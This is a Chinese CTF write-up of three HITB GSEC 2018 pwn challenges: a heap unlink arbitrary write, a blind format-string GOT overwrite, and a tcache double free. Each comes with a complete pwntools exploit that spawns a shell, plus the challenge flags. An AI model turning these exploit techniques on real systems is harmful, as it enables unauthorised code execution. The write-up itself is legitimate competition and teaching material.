HITB gsec CTF Qual 2018 部分PWN题解

once

此题共有四个函数,自行实现了一个类似于unsorted bin的数据结构,其结构体如下:

1
2
3
4
5
6
7
00000000 bin             struc ; (sizeof=0x20, mappedto_1)
00000000 field_0 dq ?
00000008 field_8 dd ?
0000000C field_C dd ?
00000010 fd dq ?
00000018 bk dq ?
00000020 bin ends

其中第一个函数,是初始化函数,首先申请了一个0x20的数据块作为第一个堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 funtion1()
{
__int64 v0; // ST18_8@1
bin *ptr; // rax@1
bin *mem; // ST10_8@1
__int64 result; // rax@1
__int64 v4; // rcx@1

v0 = *MK_FP(__FS__, 40LL);
ptr = (bin *)malloc(0x20uLL);
ptr->fd = 0LL;
ptr->bk = 0LL;
mem = (bin *)bss_once_mem;
bss_once_mem = ptr;
ptr->fd = (__int64)&unk_202020;
ptr->bk = (__int64)mem;
mem->fd = (__int64)ptr;
puts("suceess.");
result = 0LL;
v4 = *MK_FP(__FS__, 40LL) ^ v0;
return result;
}

第二个函数,可以编辑上述堆块,造成可以覆写fd、bk指针,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int funtion2()
{
int result; // eax@2
__int64 v1; // rdx@4
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
if ( bss_once_flag == 1 )
{
result = -1;
}
else
{
write_(bss_once_mem, 0x20u);
bss_once_flag = 1;
result = puts("success.");
}
v1 = *MK_FP(__FS__, 40LL) ^ v2;
return result;
}

第三个函数,实现了一个unlink操作,由于第二个函数导致内存任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int funtion3()
{
int result; // eax@2
__int64 v1; // rcx@4
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
if ( bss_once_flag_2 == 1 )
{
result = -1;
}
else
{
bss_once_mem = (bin *)bss_once_mem->bk;
bss_once_mem->fd = (__int64)&unk_202020;
bss_once_flag_2 = 1;
result = puts("success.");
}
v1 = *MK_FP(__FS__, 40LL) ^ v2;
return result;
}

第四个函数中可以申请任意大的堆块,并对这个堆块申请、释放。

此题中开启了全部保护,因此无法获悉其内部任何地址。

本题解题思路是:

1 根据给定的功能泄露libc地址

2 使用1功能初始链

3 利用4功能申请一个大堆块备用

4 利用2功能,修改小堆块中的fd指针的末位字节(由于bss地址未知),使其地址指向bss段上ptr指针-0x10

5 利用3功能unlink,使bss段上ptr指针写入 PIE + 0x202020的地址

6 利用4功能中的编辑函数,由于ptr指针已被我们覆盖,因此可以对bss段上内容任意写,目的是覆盖功能2的指针及功能使用限制的标志位

7 将__free_hook覆写为system,释放堆块,得到shell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from ctypes import *
debug = 1
elf = ELF('./once')
#flag{t1-1_1S_0_sImPl3_n0T3}
if debug:
p = process('./once')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
gdb.attach(p)
else:
p = remote('47.75.189.102', 9999)
libc = ELF('./libc-2.23.so')
#off = 0x001b0000
context.log_level = 'debug'
p.recvuntil('>')
p.sendline('0')
p.recvuntil('Invalid choice\n')
libc.address = int(p.recvuntil('>')[:-1],16)-libc.symbols['puts']


p.sendline('1')
p.recvuntil('>')

p.sendline('4')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(0xe0))
p.recvuntil('>')
p.sendline('4')

p.recvuntil('>')
p.sendline('2')
p.send('a'*16+'b'*8 + chr(0x58))

p.recvuntil('>')
p.sendline('3')

p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('2')
p.send('/bin/sh\0'+ '\0'*0x10 + p64(libc.symbols['__free_hook']) + p64(libc.symbols['_IO_2_1_stdout_'] )+ p64(0) + p64(libc.symbols['_IO_2_1_stdin_']) + p64(0)*2 + p64(next(libc.search('/bin/sh'))) +p64(0)*4 )
p.recvuntil('>')
p.sendline('4')

p.recvuntil('>')
p.sendline('2')
p.send(p64(libc.symbols['system']))
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('3')
print '[*] system ',hex(libc.symbols['system'])


p.interactive()

#0x08048e48 : add esp, 0x1c ; ret

babypwn

此题题目给出的提示就是盲pwn ,通过测试可以明显分析出漏洞是格式化字符串,并且偏移是6。并且程序是64位程序,所以编写泄露脚本来dump脚本就可以了。

此题的坑点在于使用gets函数来接收用户输入,因此输入\x0a及\x20会被截断

此题的坑点在于使用gets函数来接收用户输入,因此输入\x0a及\x20会被截断

此题的坑点在于使用gets函数来接收用户输入,因此输入\x0a及\x20会被截断

这一点坑了好久一直不懂为啥每次dump输出出来的内容都不对,最后dump出来后修改了几个字节读出了程序的正常逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char format; // [sp+0h] [bp-110h]@2
__int64 v4; // [sp+108h] [bp-8h]@1

v4 = v28;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
gets((__int64)&format, 0LL);
usleep(0);
printf(&format);
}
}

有了binary文件就比较简单了,通过got表可以泄露出题中给出的setbuf、gets、usleep函数地址,其中printf@got不可用,因为地址是0x601020 ,利用libc-database得到程序的libc。

最终通过修改gets@got为system及linux的并行命令拿到shell,64位的程序格式化字符串需要注意的坑点是哟啊先写字符串再加地址,否则是有截断的。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#coding:utf-8
from pwn import *
debug = 0
count = 0
#HITB{Baby_Pwn_BabY_bl1nd}

#context(arch='i386',os='linux',endian='little')
now = 0
if debug:
p = process('./easy_pwn')
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
#context.kernel = 'amd64'
#off = 0x001b2000
context.log_level = 'debug'
#gdb.attach(p)
#gdb.attach(p,'vmmap')
gdb.attach(p,'b *0x804882b')
else:
p = remote('47.75.182.113', 9999)
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'
#libc = ELF('./libc-2.23.so')
#off = 0x001b0000

offset = 11
def leak(str,output,addr):
global now,count
#p.recvuntil('Username:')
#p.sendline(str)
#p.recvuntil('Hello ')
#if('Password')
#tmp = p.recvuntil('p4nda')#recvuntil('p1e')
#a = tmp[0]
#if (tmp[0] == 'p') & (tmp[1] == '1')& (tmp[2] == 'e'):
# a = '\0'
#print (a)
#p = remote('47.75.182.113', 9999)
p.sendline(str)
p.recvuntil('<<<<')
tmp = p.recvuntil('>>>>')
#print tmp
if tmp.startswith('>>>>'):
a = '\0'
now += 1
else:
if addr&0xff == 0x0a:
#print '[-] error'
#exit(0)
count +=1
now += 1
a = '\xf0'
else:
a = tmp.split('>>>>')[0]
now += len(a)
print a
output.write(a)
#p.close()

#p.sendline('')

def find_offset():
for i in range(1,20):
str = '%%%d$x'%(i)
print '[%d]'%i
leak(str)

def ori_file(str,output):
p.recvuntil('Username:')
p.sendline(str)
#p.recvuntil('p4nda')
p.recvuntil('Hello ')
a = p.recv(1)
print hex(int(a)),

output.write(a)
p.recvuntil('Password')
p.sendline('')
def find_ori():
i = 0
output = open('bin', 'wb')
pro = log.progress('ori_geting')
end = 0x1000
while now < end:
pro.status('recover:'+hex(0x400000+now))
str = '<<<<%8$s>>>>'+'p1e'+'\0' +p64(0x400000+now)
leak(str,output,0x400000+now)
'''
for i in range(0,0x1000):
#find_offset()
pro.status('recover:'+hex(0x400000+i))
str = '<<<<%8$s>>>>'+'p1e'+'\0' +p64(0x400000+i) #'%7$s'+'p1e'+'\0'+p64(0x400000+i)+'\np4nda\0\0\0'# + p32(0x8048970)
leak(str,output,0x400000+i)
'''
'''
for i in range(0,0x2000):
#find_offset()
pro.status('recover:'+hex(0x600000+i))
str = '<<<<%8$s>>>>'+'p1e'+'\0' +p64(0x600000+i)# + p32(0x8048970)
#str = '%7$s'+'p1e'+'\0'+p64(0x600000+i)+'\np4nda\0\0\0'# + p32(0x8048970)
leak(str,output,0x600000+i)
'''
pro.success('get ori_file')
output.close()
#find_ori()
def test():
while 1:
a = raw_input()
str = '<<<<%8$s>>>>'+'p1e'+'\0'+p64(int(a,16)) + '\n'# + p32(0x8048970) +
p.sendline(str)
p.recvuntil('<<<<')
tmp = p.recvuntil('>>>>')
print tmp
if tmp.startswith('>>>>'):
a = '\0'

else:
a = tmp[0]
print a
#test()
#str = '%7$s'+'p1e'+'\0'+p64(0x40070b)
#p.sendline(str)
#def find_password():

#str = '%14$s'+'\0'*2+'p4nda'+p32(0x804A08C)
#find_password(str)
#i+=1
'''
for i in range(0,100):
str = '%13$caaa' + p32(0x8040000+i*4)
leak(str)
'''
#print '[-] count ',count


str = '<<<<%8$s>>>>'+'p1e'+'\0'+p64(0x601018) + '\n'
p.sendline(str)
p.recvuntil("<<<<")
leak1 = u64(p.recv(6).ljust(8,'\0'))

str = '<<<<%8$s>>>>'+'p1e'+'\0'+p64(0x601030) + '\n'
p.sendline(str)
p.recvuntil("<<<<")
leak2 = u64(p.recv(6).ljust(8,'\0'))

str = '<<<<%8$s>>>>'+'p1e'+'\0'+p64(0x601028) + '\n'
p.sendline(str)
p.recvuntil("<<<<")
leak3 = u64(p.recv(6).ljust(8,'\0'))

print '[*] setbuf ',hex(leak1)
print '[*] usleep ',hex(leak2)
print '[*] gets ',hex(leak3)
libc.address = leak1 - libc.symbols['setbuf']
print '[*] system ',hex(libc.symbols['system'])
context.clear(arch = 'amd64')
#str = repr(fmtstr_payload(7, {0x601028: libc.symbols['system']-8 }, write_size='byte'))
target = libc.symbols['system']
#str1 = "%%%dc%%12$hhn%%%dc%%13$hn"%((target&0xff),(target>>8)&0xffff-(target&0xff))

str1 = "%%%dc%%12$hhn%%%dc%%13$hn"%(((target&0xff)),(target>>8)&0xffff-(target&0xff))
str1 += ';/bin/sh\0;'
str1 = str1.ljust(48,'a')
str1 += p64(0x601028)
str1 += p64(0x601029)
print '[+] ',len(str1)
#'/bin/sh;' + p64(0x601028) + p64(0x601029) + p64(0x601030) + "%%%dc%%7$p"%((target & 0xff) - 7)
if ('\x20' in str1) | ('\x0a' in str1):
print '[-]'
print str1
exit(0)
print str1
p.sendline(str1)
p.interactive()
'''
[*] setbuf 0x7fdcfdb2e6b0
[*] usleep 0x7fdcfdbb5d60
[*] gets 0x7fdcfdb26d80
[*] system 0x7fdcfdafd390

'''

gundam

此题是一道比较明显漏洞的题目,漏洞在destroy函数中,一个double free漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 destroy()
{
__int64 result; // rax@5
__int64 v1; // rcx@8
unsigned int v2; // [sp+4h] [bp-Ch]@3
__int64 v3; // [sp+8h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
if ( !bss_sum )
{
puts("No gundam");
LABEL_7:
result = 0LL;
goto LABEL_8;
}
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 8 && bss_list[(unsigned __int64)v2] )
{
*(_DWORD *)bss_list[(unsigned __int64)v2] = 0;
free(*(void **)(bss_list[(unsigned __int64)v2] + 8LL));
goto LABEL_7;
}
puts("Invalid choice");
result = 0LL;
LABEL_8:
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}

其他不同的是本题使用的libc是libc 2.26版本,此版本及以后,加入了tcache功能,这个功能我在之前的博客 中分析过,加入这个功能会降低堆块利用的难度,只是地址泄露的时候有一定差别。

堆块会优先填充tcache并先从tcache中拿走,在从tcache中拿走的过程中并没有检查size,放入的过程中没有检查double free,因此存在double free可以劫持tcache,造成任意地址写。

此题选择覆写__free_hook为system,最终free拿到shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding:utf-8
from pwn import *
debug = 0
#HITB{now_you_know_about_tcache}

if debug:
p = process('./gundam')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
gdb.attach(p)

else:
p = remote('47.75.37.114', 9999)
libc = ELF('./libc.so.6')
context.log_level = 'debug'
#libc = ELF('./libc-2.23.so')
#off = 0x001b0000

def build(name,type):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('The name of gundam :')
p.send(name)
p.recvuntil('The type of the gundam :')
p.sendline(str(type))
def visit():
p.recvuntil('choice :')
p.sendline('2')
def destroy(index):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('Which gundam do you want to Destory:')
p.sendline(str(index))
def blow():
p.recvuntil('choice :')
p.sendline('4')

for i in range(0,9):
build('p4nda',1)

for i in range(0,9):
destroy(i)
blow()
for i in range(0,8):
build('a'*8,1)
build('a'*8,1)
visit()
p.recvuntil('Gundam[7] :aaaaaaaa')
libc.address = u64(p.recv(6).ljust(8,'\0')) - 88 - 0x10 - libc.symbols['__malloc_hook']
print '[*] system:',hex(libc.symbols['system'])
for i in range(0,8):
destroy(i)
blow()
build('p4nda',1) #0
build('/bin/sh\0',1) #0 1
build('p4nda',1) #0
destroy(0)
destroy(0)
build(p64(libc.symbols['__free_hook']-0x10),1)# 0 1 2
build('a'*0x30,1)
build(p64(libc.symbols['system'])*3,1)
destroy(1)

p.interactive()
文章目录
  1. 1. once
  2. 2. babypwn
  3. 3. gundam
|